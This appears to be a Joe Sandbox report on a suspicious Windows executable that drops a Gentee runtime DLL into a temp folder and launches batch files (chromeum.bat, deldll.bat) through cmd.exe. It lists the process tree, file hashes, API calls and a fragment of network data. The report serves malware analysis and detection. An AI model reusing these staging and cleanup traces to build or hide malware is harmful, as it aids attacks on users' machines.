Nov 20, 2024 07:48:02.291186094 CET	1236	IN	Data Raw: 2f 2b 4d 33 2f 6b 36 2b 6b 33 66 76 72 62 6e 33 33 79 68 37 2f 39 33 57 2f 38 77 65 2f 2f 79 6e 63 2f 2b 2b 37 33 76 76 48 4e 62 2f 2f 42 7a 7a 37 35 39 71 64 2f 39 68 75 66 2f 65 48 76 66 4f 2f 58 75 65 78 33 76 76 58 74 50 2f 2b 31 6e 2f 44 68 Data Ascii: /+M3/k6+k3fvrbn33yh7/93W/8we//ync/++73vvHNb//Bzz759qd/9huf/eHvfO/Xuex3vvXtP/+1n/DhP7o5rhN/m9f54bO9d/5rv/bJT3tbn3zjm9/6tV8bP/jjX//ZT7/9yXe+9vXrp/1f+PrP8tvPvvfpb3yNj/r+dz795Z//Ypn4yC/9/he5pV/55nc++fbXvh5+mzfyowv93Nc/+/QHfPB3vvutT375O598/7Ovfb39w
Nov 20, 2024 07:48:02.296274900 CET	1236	IN	Data Raw: 2b 47 39 50 48 58 70 31 7a 58 77 39 2f 4f 33 38 54 65 52 2f 35 6d 76 69 36 5a 58 2f 4b 36 7a 76 65 4c 37 79 4e 2f 64 2f 6e 34 4f 31 2f 6e 33 33 42 66 72 34 41 30 2f 36 61 2f 2b 38 2b 37 76 61 36 66 77 62 2f 33 35 36 2f 7a 39 31 66 2b 30 65 66 63 Data Ascii: +G9PHXp1zXw9/O38TeR/5mvi6ZX/K6zveL7yN/d/n4O1/n33Bfr4A0/6a/+8+7va6fwb/356/z91f+0efc6fqxP/nzewv8PfdvfR3/xvjxvT6bf33de79fet7m/eWf8Bmfr8P6/DnK/fHrL37nz+rn//q5z+frNPy8n3D/rsP8/LXhS+t8f35Nf37nH31G/eLz7x89z4i/+ZquQfvKfbiXPp/rke6//fXK3836fGU9vthj7+ldn

Target ID:	0
Start time:	01:47:59
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\BWuMwnE7tw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BWuMwnE7tw.exe"
Imagebase:	0x400000
File size:	962'644 bytes
MD5 hash:	BC9E4510FE172F8155D02B28AB79DA83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:48:05
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat""
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:48:05
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:48:05
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c deldll.bat
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:48:05
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:48:05
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 2 -w 1000 127.0.0.1
Imagebase:	0xd00000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	851
Total number of Limit Nodes:	16

Executed Functions

Function 100059A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10004D10: vsprintf.MSVCRT ref: 10004D34

FindFirstFileA.KERNELBASE(0000005C,?,00000200,00000000), ref: 100059E9
FindNextFileA.KERNEL32(00000000,?,?), ref: 10005A62
FindClose.KERNEL32(00000000), ref: 10005A69

Strings

%s%c*.*, xrefs: 100059D1
., xrefs: 100059FD
%s%c%s, xrefs: 10005A30

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: Find$File$CloseFirstNextvsprintf
String ID: %s%c%s$%s%c*.*$.
API String ID: 3329218086-3888266457
Opcode ID: fe9b148c403627668117ac8923b46573ac1af3a29b8214059a60aa9b7f080896
Instruction ID: 1065b162a1b9fca1b1ad62252492fc21ac605415f60a94d0c9e05d291c74bad9
Opcode Fuzzy Hash: fe9b148c403627668117ac8923b46573ac1af3a29b8214059a60aa9b7f080896
Instruction Fuzzy Hash: FE21C479104744AAF210DB60CC85EAF77ACDF862D1F408A1DF5914309AE736E5498B67

Function 004018D0 Relevance: 63.2, APIs: 26, Strings: 10, Instructions: 171
stringfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000200,?,?,00000000), ref: 004018E8
wsprintfA.USER32 ref: 00401908
CreateMutexA.KERNEL32(00000000,00000001,?), ref: 00401916
GetLastError.KERNEL32 ref: 0040191C
lstrcpyA.KERNEL32(?,The application has already run.), ref: 00401933
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,00000000), ref: 0040195E
GetFileSize.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401969
lstrcpyA.KERNEL32(?,The file is corrupted. It was downloaded with errors or otherwise damaged.Please download it again and make sure that you do not have viruses.,?,?,00000000), ref: 00401981
CloseHandle.KERNELBASE(00000000,?,?,00000000), ref: 0040198D
GetModuleHandleA.KERNEL32(00000000,?,?,00000000), ref: 00401995
LoadLibraryA.KERNELBASE(?,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 004019E8
wsprintfA.USER32 ref: 00401A06
lstrcpyA.KERNEL32(?,ERROR: ,?,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 00401ADF
lstrcatA.KERNEL32(00000000,?,?,00000000), ref: 00401AE6
MessageBoxA.USER32(00000000,?,?,00000010), ref: 00401AFD
ExitProcess.KERNEL32 ref: 00401B05

Strings

gentee_set, xrefs: 00401A35
gentee_init, xrefs: 00401A17
The file is corrupted. It was downloaded with errors or otherwise damaged.Please download it again and make sure that you do not have viruses., xrefs: 0040197B
Cannot load %s., xrefs: 00401A00
The application has already run., xrefs: 0040192D
ERROR: , xrefs: 00401AD9
The executable file does not have a bytecode!, xrefs: 00401A88
gentee_deinit, xrefs: 00401A1F
gentee_call, xrefs: 00401A41
gentee_load, xrefs: 00401A29

Memory Dump Source

Source File: 00000000.00000002.2109673953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2109662170.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109685375.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109696404.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109707809.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BWuMwnE7tw.jbxd

Similarity

API ID: Filelstrcpy$CreateHandleModulewsprintf$CloseErrorExitLastLibraryLoadMessageMutexNameProcessSizelstrcat
String ID: Cannot load %s.$ERROR: $The application has already run.$The executable file does not have a bytecode!$The file is corrupted. It was downloaded with errors or otherwise damaged.Please download it again and make sure that you do not have viruses.$gentee_call$gentee_deinit$gentee_init$gentee_load$gentee_set
API String ID: 2761331275-813548115
Opcode ID: 75c1140eaf22f4bbb1cb2a1445d8aadd826d4f0cede038027645ba1c2c6d0f94
Instruction ID: 9a6b1dca81c645f7f4531fc4d6c81cc0b764753a35578a77395dc2e12349a1f0
Opcode Fuzzy Hash: 75c1140eaf22f4bbb1cb2a1445d8aadd826d4f0cede038027645ba1c2c6d0f94
Instruction Fuzzy Hash: 6C517371245305ABD320AF60DE4DFAB3BACAB84701F10493AF705B61E0D7B89505CBA9

Function 004016A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 140
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000200,?,?,00000028,75A78400,00000000,?,00000000,?,?,004019D8,00000000,00000000,?,?,-00000400), ref: 004016CC
lstrlenA.KERNEL32(?,?,00000000,?,?,004019D8,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 004016D9
lstrlenA.KERNEL32(?,?,00000000,?,?,004019D8,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 004016E3
wsprintfA.USER32 ref: 004016F5
GetFileAttributesA.KERNELBASE(?,?,?,?,?,?,004019D8,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 004016FF
CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000000,00000000,?,?,?,?,?,004019D8,00000000,00000000,?), ref: 0040171A
lstrcpyA.KERNEL32(?,c:\temp,?,?,?,?,?,004019D8,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 00401739
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,004019D8,00000000,00000000,?,?,-00000400,?,?,00000000), ref: 00401741
wsprintfA.USER32 ref: 00401753
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,004019D8,00000000,00000000,?,?,-00000400), ref: 0040175D
WriteFile.KERNELBASE(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004019D8,00000000), ref: 004017D7
CloseHandle.KERNELBASE(00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,004019D8,00000000,00000000), ref: 004017EC
lstrcpyA.KERNEL32(?,Cannot create gentee.dll!,?,?,00000000,?,?,?,?,?,?,?,?,?,004019D8,00000000), ref: 004017FD

Strings

%s\genteert.dll, xrefs: 004016EF, 00401748
Cannot create gentee.dll!, xrefs: 004017F7
c:\temp, xrefs: 00401733

Memory Dump Source

Source File: 00000000.00000002.2109673953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2109662170.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109685375.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109696404.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109707809.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BWuMwnE7tw.jbxd

Similarity

API ID: File$AttributesCreatelstrcpylstrlenwsprintf$CloseDirectoryHandlePathTempWrite
String ID: %s\genteert.dll$Cannot create gentee.dll!$c:\temp
API String ID: 2429222215-2252134850
Opcode ID: 8a3f478474cb178c0db6a781311e9bbebcfb1379b92b38a38e3dc45cd2d4445c
Instruction ID: 67627f2e786aaddb3fd4ed1d4e819a884a497af34afd47e88a40c4d4d8adc77f
Opcode Fuzzy Hash: 8a3f478474cb178c0db6a781311e9bbebcfb1379b92b38a38e3dc45cd2d4445c
Instruction Fuzzy Hash: 2A41D471204300ABE210AB61DE88F6B7B68EB85715F10443AF701B32E1CBB9A805D779

Function 10003C00 Relevance: 6.1, APIs: 4, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 10003C0C
malloc.MSVCRT ref: 10003C51
InitializeCriticalSection.KERNEL32(1000D2E0,00000000,00001400,00001400), ref: 10003C6E
CharLowerA.USER32(00000000,00000500), ref: 10003CBE

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: malloc$CharCriticalInitializeLowerSection
String ID:
API String ID: 1963527391-0
Opcode ID: 2fea42c86315bfe1481c1987a6753dc238810363eafcdcdaa48903890fab695d
Instruction ID: 51651d1a03007351202afa30bb3bb704e0063df465590a1688396c568ca457f4
Opcode Fuzzy Hash: 2fea42c86315bfe1481c1987a6753dc238810363eafcdcdaa48903890fab695d
Instruction Fuzzy Hash: F941CA359042618FF312EB18D8D4B8EBBA6E7563D4F15816BC5918B3BEC275CC82C7A1

Function 10003980 Relevance: 5.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(1000D2E0,?,00008000,?,?,100021F2,00008000,?,?,?,?,?,10002D96,?,00008000,?), ref: 10003989
malloc.MSVCRT ref: 1000399F
LeaveCriticalSection.KERNEL32(1000D2E0,?,?,?,10002D96,?,00008000,?,00008000), ref: 100039B7
LeaveCriticalSection.KERNEL32(1000D2E0,100021F2,?,00008000,?,?,100021F2,00008000,?,?,?,?,?,10002D96,?,00008000), ref: 10003A68

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CriticalSection$Leave$Entermalloc
String ID:
API String ID: 3130977980-0
Opcode ID: 84fdffb65d4ef5215195cbda2d5d2bc33cc19ca858326295f9bce40fb6ff787b
Instruction ID: d25bee814d14efda30f1464362f07031c0896e54ac39c5d7f6b7dd260b70e25f
Opcode Fuzzy Hash: 84fdffb65d4ef5215195cbda2d5d2bc33cc19ca858326295f9bce40fb6ff787b
Instruction Fuzzy Hash: C831C275600302CFE321DF19C89085BBBE9FF863D0324812EE69543709C731B906CB62

Function 10003B40 Relevance: 5.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(1000D2E0,?,1000343D,10002DB8,?,100069F9,?,-00000001,?,?,1000516B,1000D240,1000D240,?,10002DB8), ref: 10003B4E
free.MSVCRT ref: 10003B6A
LeaveCriticalSection.KERNEL32(1000D2E0,10002DB8), ref: 10003B77
LeaveCriticalSection.KERNEL32(1000D2E0,?,100069F9,?,-00000001,?,?,1000516B,1000D240,1000D240,?,10002DB8), ref: 10003BB9

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CriticalSection$Leave$Enterfree
String ID:
API String ID: 3634772007-0
Opcode ID: ef82aced2ef61d46468018d6ff9b6c43efccf280279c7c0ea65ebc34c90fa554
Instruction ID: 846816d5a6104c22fdc160fc1011475c9e8aa1a9bd04d901e8fdfeab3ad9ac32
Opcode Fuzzy Hash: ef82aced2ef61d46468018d6ff9b6c43efccf280279c7c0ea65ebc34c90fa554
Instruction Fuzzy Hash: 5301F7B55001118FE314DF18C890EDABBE4FF5A390706C2AAE9418731EC771D982CBE0

Function 10005600 Relevance: 3.1, APIs: 2, Instructions: 94
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 100056D2

Part of subcall function 10005AF0: CreateFileA.KERNELBASE(1000D329,1000D32C,1000D329,00000000,1000D329,00000000,00000000,10005CC3,1000D32C,00000006,1000D32C,00000000,00000000,?,1000D32C,10006518), ref: 10005B34

GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 100056EA

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CreateFileHandleLibraryLoadModule
String ID:
API String ID: 3230317097-0
Opcode ID: e231578acc43963604cd00fc2ab4634b14236b7c52a40841d6216e3b0cf3b7aa
Instruction ID: 217a19c331d329f0d3a28da38208d12c731110efd849884d42853dc6c258a9ef
Opcode Fuzzy Hash: e231578acc43963604cd00fc2ab4634b14236b7c52a40841d6216e3b0cf3b7aa
Instruction Fuzzy Hash: 74315EB9514302AAF214DF60DD85E6B73ECEF846C1F808A1CF94597149EB76F9088732

Function 10002A73 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 880c007e9fc92a07e8f22be8c8de1945a245b6134a3ba7f8b93c25380affa960
Instruction ID: 531355096d3f714bfa36a90036cff5c6a1bd243fed94c587f193591dac95b274
Opcode Fuzzy Hash: 880c007e9fc92a07e8f22be8c8de1945a245b6134a3ba7f8b93c25380affa960
Instruction Fuzzy Hash: 70219DB0A00646EFEB10CF64D49469EBBF1FF09394B10C169E85A9B705D730EAA0CB91

Function 10005AF0 Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1000D329,1000D32C,1000D329,00000000,1000D329,00000000,00000000,10005CC3,1000D32C,00000006,1000D32C,00000000,00000000,?,1000D32C,10006518), ref: 10005B34

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3659d475e362d335d01b14539a5f81eace271aecee077a4a36492414b6550c6b
Instruction ID: 87c82cc404fc1d1b93a748627a3eef174cd00deefbb92a33f0e9bf067a698d98
Opcode Fuzzy Hash: 3659d475e362d335d01b14539a5f81eace271aecee077a4a36492414b6550c6b
Instruction Fuzzy Hash: 5FF065717A05055FF708CA78CC92F7A73C6D7C2766F04D72CB563C62D5DA6898458710

Function 10005F90 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNELBASE(00000400,00000001,?,?,?,?), ref: 10005FA7

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: dc59a5c634376777b60424da985bbba5271a00ec94fd7bbd9c112320441256eb
Instruction ID: c3ee73b0c24b31814485c126e6f452742adc99081cf66c7f51e3c927bee69803
Opcode Fuzzy Hash: dc59a5c634376777b60424da985bbba5271a00ec94fd7bbd9c112320441256eb
Instruction Fuzzy Hash: 35D0E2BA214200AAE20486208885E2FA759E7D07A1F20CA0DF552C21D0C6B0DC408621

Function 10005BC0 Relevance: 1.5, APIs: 1, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000000,?,?,00000000,?,1000567B,00000000,?,?,00000000,00000006,0000072B,?,?,?), ref: 10005BD7

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 10d4c48fe2f257aa3f376171600596026bbae0a9fdc2413f1b194d112be2c3b3
Instruction ID: 72ae423c7c48a8c428be45600094529c93f2317880e56116f5c1fd3dc26f2978
Opcode Fuzzy Hash: 10d4c48fe2f257aa3f376171600596026bbae0a9fdc2413f1b194d112be2c3b3
Instruction Fuzzy Hash: 10E0E235208322ABE240CB61DC85EABB7E8FB84A90F048D0EB490C3188D330FC45CBA1

Function 10005960 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,00000000,10005D54,1000D32C,1000D32C,1000D32C,-00000004,1000D32C,1000D32C,00000006,1000D32C,00000000,00000000,?,1000D32C,10006518), ref: 10005969

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: c10dd83b603b1675711886ef5e216319622d4f2186c3a64ab17e7529833a8229
Instruction ID: 85e45307c5f3ba5fa496d9109c6968c8a2fd2daeb29098098dbc9facdb212021
Opcode Fuzzy Hash: c10dd83b603b1675711886ef5e216319622d4f2186c3a64ab17e7529833a8229
Instruction Fuzzy Hash: E2B012B1200200AFD204CB50C994F077360BBD9700F008918F305CB094C635D844CB10

Function 10005980 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveDirectoryA.KERNELBASE(?,10005A80,?,?), ref: 10005987

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: e6a0045e4a7a2b5587952e67f46e3606ab45a050d6deb287eb5d986bf89090c5
Instruction ID: 12a01fa5a8db9371b8e58903829511990cfacd9d3e1f2d2ec9e6753e2fb720dc
Opcode Fuzzy Hash: e6a0045e4a7a2b5587952e67f46e3606ab45a050d6deb287eb5d986bf89090c5
Instruction Fuzzy Hash: B5B012B0100100DFD204CB10C584C0673A0BBD93007008518F10183214C634DC00CA20

Function 100038C0 Relevance: 1.3, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 100038E5

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 9b5fb2fde61c963a9065f80053a4989916ca2246b3493a75608c5e8d6db28dcf
Instruction ID: cee3fbfabc76a55cf89959beb2690333f67805e97c05a8911fcac20925ee8c72
Opcode Fuzzy Hash: 9b5fb2fde61c963a9065f80053a4989916ca2246b3493a75608c5e8d6db28dcf
Instruction Fuzzy Hash: F5F05EB6A006176BD310CF1CE841BD6F3E8EB94358F01853AF219D7644DBB0A955CBD0

Function 00401C20 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,004019C2,-00000400,?,?,00000000), ref: 00401C2E

Memory Dump Source

